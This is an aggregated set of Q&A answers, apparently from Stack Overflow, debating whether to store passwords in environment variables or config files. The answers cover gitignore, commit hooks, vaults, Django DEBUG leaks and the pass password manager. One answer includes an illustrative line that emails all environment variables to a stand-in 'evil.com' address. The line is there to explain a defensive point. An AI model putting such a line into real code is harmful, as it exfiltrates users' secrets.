[Django]-Is it secure to store passwords as environment variables (rather than as plain text) in config files?

As mentioned before, both methods do not provide any layer of additional "security" once your system is compromised. I believe that one of the strongest reasons to favor environment variables is avoiding version control: I’ve seen way too many database configurations etc. being accidentially stored in the version control system like GIT for every other developer to see (and whoops! it happened to me as well …).

Not storing your passwords in files makes it impossible for them to be stored in the version control system.

Anytime you have to store a password, it is insecure. Period. There’s no way to store an un-encrypted password securely. Now which of environment variables vs. config files is more “secure” is perhaps debatable. IMHO, if your system is compromised, it doesn’t really matter where it’s stored, a diligent hacker can track it down.

Sorry I didn’t have enough rep to comment, but I also wanted to add that if you’re not careful, your shell might capture that password in it’s command history as well. So running something like $ pwd=mypassword my_prog manually isn’t as ephemeral as you might have hoped.

I think when possible you should store your credentials in a gitignored file and not as environment variables.

One of the things to consider when storing credentials in ENV (environment) variables vs a file is that ENV variables can very easily be inspected by any library or dependency you use.

This can be done maliciously or not. For example a library author could email stack traces plus the ENV variables to themselves for debugging (not best practice, but it’s possible to do).

If your credentials are in a file, then peaking into them is much harder.

Specifically, think about an npm in node. For an npm to look at your credentials if they are in the ENV is a simple matter of process.ENV. If on the other hand they are in a file, it’s a lot more work.

Whether your credentials file is version controlled or not is a separate question. Not version controlling your credentials file exposes it to fewer people. There’s no need for all devs to know the production credentials. Since this lives up to the principle of least privilege, I would suggest git ignoring your credentials file.

It depends on your threat model.

Are you trying to prevent your users from sprinkling passwords all over their file systems where they are likely to be forgotten and mishandled? If so, then yes, because environmental variables are less persistent than files.

Are you trying to secure against something malicious that is directly targeting your program? If so, then no, because environment variables do not have the same level of access control that files do.

Personally, I think that negligent users are more common than motivated adversaries, so I’d go with the environment variable approach.

Among others, an issue with using environment variables to store secrets is that they can be leaked unintentionally:

• Messy code displaying raw error messages with context (env vars) to a user
• Monitoring tool capturing the error and context and sending/storing it for future investigation
• Developer logging environment variables which persists them to disk (and potentially to some log processing tool e.g. Logstash)
• Compromised dependency sending all of the global variables it can reach, including env vars to the attacker
• Setting the env variable leaving traces in the shell history

Potential issues with secrets stored in config files:

• Misconfigured file permissions allowing access to a random OS user
• Developer adding config files to version control
  • Intentionally (not knowing it’s bad)
  • By accident. Even when the file is removed (during a PR review maybe), if not done properly, it may still live in the Git commit history.

Irrelevant to the way you store secrets, if your system is compromised you’re screwed. Extracting those is just a matter of time and effort.

So what can we do to minimize the risks?

Don’t store/pass around secrets in plain text.
One way to approach the problem is to use an external (managed or self-hosted) secrets storage solution (e.g. AWS Parameter Store, Azure Vault, Hashicorp Vault) and fetch sensitive data at runtime (possibly caching in memory). This way your secrets are encrypted in transit and at rest.

AFAICT, there are two reasons people recommend storing secrets in environment variables:

1. It’s too easy to inadvertently commit secret flat files to a repo. (And if it’s a public repo, you’re toast.)
2. It prevents password clutter i.e., having the same key in many different project directory files is itself a security risk since developers will eventually lose track of where secrets are located.

These two issues can be solved in better ways. The former should be solved by a git commit hook that checks for things that look like passwords (e.g., gitleaks). I wish Linus built such a tool into the git library’s source code but, alas, that didn’t happen. (Needless to say, secret files should always be added to .gitignore, but you need a hook in case someone forgets to do so.)

The latter can be solved by having a global company secrets file, which is ideally stored on a read-only shared drive. So, in Python, you could have something like from company_secrets import *.

More importantly, as pointed out by others, it’s way too easy to hack secrets stored in environment variables. For example, in Python, a library author could insert send_email(address="evil.person@evil.com", text=json.dumps(os.environ)) and then you’re toast if you execute this code. Hacking is much more challenging if you have a file on your system called ~/secret_company_stuff/.my_very_secret_company_stuff.

Django users only:
Django (in DEBUG mode) shows the raw value of an environment variable in the browser if there is an exception (in DEBUG mode). This seems highly insecure if, for example, a developer accidentally sets DEBUG=True in production. In contrast, Django DOES obfuscate password settings variables by looking for the strings API, TOKEN, KEY, SECRET, PASS or SIGNATURE in the framework’s settings.py file’s variable names.

All the answers so far have too many hypotheticals and not enough solutions: Store passwords in pass, unix password manager: https://www.passwordstore.org/

I recently needed a way to store log access credentials to Loki for several different deployments. they consist of three vars:

LOKI_ADDR=https://loki.<environment>.domain
LOKI_USERNAME=<username>
LOKI_PASSWORD=<password>

Normal trick I use is to shove the whole environment into a secret, and load it in with command pass show <secret_name> | source. This anoints the current session with the secret vars, which I can then use to run whatever I need, closing it after to clear them.

But to make this easier to use, I want to call logcli with different credentials based on a single command.

#!/bin/bash
# loki <environment> <rest of logcli args>
# loki prod query '{app=+".+"}' --tail --no-labels

ENVNAME=$1
shift 1
env LOKI_USERNAME=<loki_username> LOKI_PASSWORD=$(pass show work/loki/$ENVNAME) LOKI_ADDR=https://loki.$ENVNAME.domain logcli "${@}"

Result is being able to do:

loki dev query '{app=+".+"}' --tail --no-labels

And have the script read loki password from work/loki/dev secret.

Just as a passing note, I make no claims about increased security beyond what is obvious. Other answers correctly point out the non-obvious.